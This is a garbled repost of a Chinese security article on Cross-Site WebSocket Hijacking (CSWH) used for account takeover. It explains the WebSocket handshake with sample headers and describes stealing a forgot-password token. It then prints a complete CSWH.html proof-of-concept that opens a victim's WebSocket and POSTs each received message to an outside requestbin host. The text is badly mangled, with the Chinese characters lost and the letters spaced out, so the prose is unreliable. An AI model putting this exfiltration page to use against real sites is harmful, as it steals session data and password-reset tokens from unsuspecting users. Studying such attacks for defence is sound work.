[13929] 2019-03-30_利用跨站WebSocket劫持(CSWH)实现账户劫持

文档创建者:s7ckTeam
浏览次数:5
最后更新:2025-01-18
2019-03-30_利用跨站WebSocket劫持(CSWH)实现账户劫持 W e b S o c k e t ( C S W H ) c l o u d s   F r e e B u f   2 0 1 9 - 0 3 - 3 0 使 W e b S o c k e t W e b S o c k e t W e b S o c k e t W e b S o c k e t W e b S o c k e t   I B M   D e v e l o p e r   W e b S o c k e t   W e b S o c k e t     W e b S o c k e t W e b S o c k e t W e b S o c k e t     H T M L 5     H T T P   W e b S o c k e t     H T T P   W e b S o c k e t     W e b     T C P   W e b S o c k e t     T C P   W e b S o c k e t     T C P     T C P   W e b S o c k e t     H T T P     T C P     h t t p : / /   h t t p s : / /   w s : / / w s s : / / W e b S o c k e t 线 线   W e b S o c k e t   P o l l i n g   C o m e t   W e b S o c k e t     w e b s o c k e t . o r g   W e b S o c k e t w e b s o c k e t . o r g   E c h o   e c h o . w e b s o c k e t . o r g H T T P W e b S o c k e t W e b S o c k e t  
C o n n e c t i o n U p g r a d e     U p g r a d e w e b s o c k e t     W e b S o c k e t   W e b S o c k e t     1 0 1     W e b S o c k e t     h t t p : / /   h t t p s : / /   w s : / /   w s s : / / 使   W e b S o c k e t   A P I   W e b S o c k e t     O r i g i n   A c c e s s - C o n t r o l - A l l o w - O r i g i n   C r o s s - O r i g i n   R e s o u r c e S h a r i n g C O R S W e b S o c k e t   W e b S o c k e t C r o s s - S i t e   W e b S o c k e t   H i j a c k i n g C S W H W e b S o c k e t W e b S o c k e t 使 W e b S o c k e t W e b S o c k e t   U R L W e b S o c k e t w s s : / / w e b s i t e . c o m W e b S o c k e t W e b S o c k e t 1 W e b 2 访 h t t p : / / w e b s o c k e t . o r g / e c h o . h t m l L o c a t i o n W e b S o c k e t   U R L -   w s s : / / w e b s i t e . c o m   C o n n e c t G E T   w s : / / e c h o . w e b s o c k e t . o r g / ? e n c o d i n g = t e x t   H T T P / 1 . 1 H o s t :   e c h o . w e b s o c k e t . o r g C o n n e c t i o n :   U p g r a d e P r a g m a :   n o - c a c h e C a c h e - C o n t r o l :   n o - c a c h e U p g r a d e :   w e b s o c k e t O r i g i n :   h t t p : / / w w w . w e b s o c k e t . o r g S e c - W e b S o c k e t - V e r s i o n :   1 3 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( M a c i n t o s h ;   I n t e l   M a c   O S   X   1 0 _ 1 1 _ 4 )   C h r o m e / 4 9 . 0 . 2 6 2 3 . 1 1 0 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e ,   s d c h A c c e p t - L a n g u a g e :   e n - U S , e n ; q = 0 . 8 , z h - C N ; q = 0 . 6 C o o k i e :   _ g a t = 1 ;   _ g a = G A 1 . 2 . 2 9 0 4 3 7 2 . 1 4 5 9 6 4 7 6 5 1 ;   J S E S S I O N I D = 1 A 9 4 3 1 C F 0 4 3 F 8 5 1 E 0 3 5 6 F 5 8 3 7 8 4 5 B 2 E C S e c - W e b S o c k e t - K e y :   7 A R p s 0 A j s H N 8 b x 5 d C I 1 K K Q = = S e c - W e b S o c k e t - E x t e n s i o n s :   p e r m e s s a g e - d e f l a t e ;   c l i e n t _ m a x _ w i n d o w _ b i t s H T T P / 1 . 1   1 0 1   W e b   S o c k e t   P r o t o c o l   H a n d s h a k e A c c e s s - C o n t r o l - A l l o w - C r e d e n t i a l s :   t r u e A c c e s s - C o n t r o l - A l l o w - H e a d e r s :   c o n t e n t - t y p e A c c e s s - C o n t r o l - A l l o w - H e a d e r s :   a u t h o r i z a t i o n A c c e s s - C o n t r o l - A l l o w - H e a d e r s :   x - w e b s o c k e t - e x t e n s i o n s A c c e s s - C o n t r o l - A l l o w - H e a d e r s :   x - w e b s o c k e t - v e r s i o n A c c e s s - C o n t r o l - A l l o w - H e a d e r s :   x - w e b s o c k e t - p r o t o c o l A c c e s s - C o n t r o l - A l l o w - O r i g i n :   h t t p : / / w w w . w e b s o c k e t . o r g C o n n e c t i o n :   U p g r a d e D a t e :   S u n ,   0 3   A p r   2 0 1 6   0 3 : 0 9 : 2 1   G M T S e c - W e b S o c k e t - A c c e p t :   w W 9 B l 9 5 V t f J D b p H d f i v y 7 c s O a D o = S e r v e r :   K a a z i n g   G a t e w a y U p g r a d e :   w e b s o c k e t
3 W e b S o c k e t   U R L W e b S o c k e t B u r p S u i t e w e b s o c k e t s e s s i o n o r i g i n s e s s i o n W e b S o c k e t W e b S o c k e t   -   h t t p : / / i r o n w a s p . o r g / c s w s h . h t m l W e b S o c k e t W e b S o c k e t W e b S o c k e t W e b S o c k e t   _ f o r g o t P a s s w o r d I d   n u l l _ f o r g o t P a s s w o r d I d   h t t p s
W e b S o c k e t f o r g o t P a s s w o r d t o k e n W e b S o c k e t P a y l o a d C S W H . h t m l X H R W e b S o c k e t
1 2 C S W H . h t m l h t m l 访 3 U R L W e b s o c k e t       < ! - -   R e f e r e n c e   h t t p : / / w w w . w e b s o c k e t . o r g / e c h o . h t m l   - - > < ! D O C T Y P E   h t m l >       < m e t a   c h a r s e t = " u t f - 8 "   / >       < t i t l e > T e s t i n g < / t i t l e >       < s c r i p t   l a n g u a g e = " j a v a s c r i p t "   t y p e = " t e x t / j a v a s c r i p t " >       v a r   w s U r i   =   " w s s : / / h o s t . c o m " ;       v a r   o u t p u t ;       f u n c t i o n   i n i t ( )       {     o u t p u t   =   d o c u m e n t . g e t E l e m e n t B y I d ( " o u t p u t " ) ;     t e s t W e b S o c k e t ( ) ;       }       f u n c t i o n   t e s t W e b S o c k e t ( )       {     w e b s o c k e t   =   n e w   W e b S o c k e t ( w s U r i ) ;     w e b s o c k e t . o n o p e n   =   f u n c t i o n ( e v t )   {   o n O p e n ( e v t )   } ;     w e b s o c k e t . o n c l o s e   =   f u n c t i o n ( e v t )   {   o n C l o s e ( e v t )   } ;     w e b s o c k e t . o n m e s s a g e   =   f u n c t i o n ( e v t )   {   o n M e s s a g e ( e v t )   } ;     w e b s o c k e t . o n e r r o r   =   f u n c t i o n ( e v t )   {   o n E r r o r ( e v t )   } ;       }       f u n c t i o n   o n O p e n ( e v t )       {     w r i t e T o S c r e e n ( " C O N N E C T E D " ) ;     d o S e n d ( ' w e b s o c k e t   f r a m e   ' ) ;       }       f u n c t i o n   o n C l o s e ( e v t )       {     w r i t e T o S c r e e n ( " D I S C O N N E C T E D " ) ;       }       f u n c t i o n   o n M e s s a g e ( e v t )       {   v a r   x h r   =   n e w   X M L H t t p R e q u e s t ( ) ;   x h r . o p e n ( " P O S T " ,   " h t t p : / / r e q u e s t b i n . f u l l c o n t a c t . c o m / 1 1 4 3 n 2 w 1 " ,   t r u e ) ;   x h r . s e t R e q u e s t H e a d e r ( " C o n t e n t - T y p e " ,   " a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d ;   c h a r s e t = U T F - 8 " ) ;   x h r . s e n d ( e v t . d a t a ) ;     w e b s o c k e t . c l o s e ( ) ;       }       f u n c t i o n   o n E r r o r ( e v t )       {     w r i t e T o S c r e e n ( ' < s p a n   s t y l e = " c o l o r :   r e d ; " > E R R O R : < / s p a n >   '   +   e v t . d a t a ) ;       }       f u n c t i o n   d o S e n d ( m e s s a g e )       {     w r i t e T o S c r e e n ( " S E N T :   "   +   m e s s a g e ) ;     w e b s o c k e t . s e n d ( m e s s a g e ) ;       }       f u n c t i o n   w r i t e T o S c r e e n ( m e s s a g e )       {     v a r   p r e   =   d o c u m e n t . c r e a t e E l e m e n t ( " p " ) ;     p r e . s t y l e . w o r d W r a p   =   " b r e a k - w o r d " ;     p r e . i n n e r H T M L   =   m e s s a g e ;     o u t p u t . a p p e n d C h i l d ( p r e ) ;       }       w i n d o w . a d d E v e n t L i s t e n e r ( " l o a d " ,   i n i t ,   f a l s e ) ;       < / s c r i p t >       < h 2 > W e b S o c k e t   T e s t < / h 2 >       < d i v   i d = " o u t p u t " > < / d i v >
4 t o k e n * m e d i u m c l o u d s F r e e B u f . C O M
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则